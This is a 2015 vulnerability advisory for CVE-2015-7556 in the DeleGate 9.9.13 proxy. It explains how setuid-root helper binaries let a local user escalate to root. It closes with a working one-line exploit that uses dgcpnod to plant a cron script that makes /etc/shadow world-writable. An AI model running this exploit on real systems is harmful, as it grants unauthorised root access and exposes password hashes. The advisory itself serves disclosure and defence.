Title: Local root vulnerability in DeleGate v9.9.13
Author: Larry W. Cashdollar, @_larry0
Date: 2015-12-17
Advisory: http://www.vapidlabs.com/advisory.php?v=159
Download Sites: http://delegate.hpcc.jp/delegate/
http://delegate.org/delegate/
Vendor: National Institute of Advanced Industrial Science and Technology
Vendor Notified: 2015-12-17
Vendor Contact: y.s...@delegate.org ys...@etl.go.jp
Description: DeleGate is a multipurpose proxy server which relays
various application protocols on TCP/IP or UDP/IP, including HTTP, FTP,
Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and
more. DeleGate mediates communication between servers and clients where
direct communication is impossible, inefficient, or inconvenient.
Vulnerability:
Installation of delegate 9.9.13 sets some binaries setuid root, at least
one of these binaries can be used to escalate the privileges of a local
user. The binary dgcpnod creates a node allowing a local unprivileged
user to create files anywhere on disk. By creating a file in
/etc/cron.hourly a local user can execute commands as root.
Installation of software via source or binary distribution with option
to not run as root results in a script set-subin.sh to run setting the
setuid bit on four binaries. In Linux distributions where this software
is part of the package list these binaries are not setuid root. (archlinux)
From documentation http://www.delegate.org/delegate/newbies-ja.shtml
(translated to english):
Go is included in the binary distribution, or DGROOT that you can build
from the source to the location of preference, and then change the name
if necessary. This is the DgRoot. In addition, if needed, you can rename
the executable file of DeleGate to the name of the preference. This is
the DgExe.
"In Unix version subin in if you want to use "(such as when using a
privileged port), do the following.
(3-2uk) $ cd DgRoot / subin
$ Sh setup-subin.sh
larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l
total 1916
-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind
-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot
-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod
-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate
-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty
-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam
-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh
This script sets the setuid bit on four binaries:
larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh
#!/bin/sh
SUBINS="dgpam dgbind dgchroot dgcpnod"
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"
if [ $? != 0 ]; then
su root -c "chown root $SUBINS; chmod 6550 $SUBINS"
fi
CVEID: 2015-7556
Exploit Code:
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme
/etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow'
> /etc/cron.hourly/rootme
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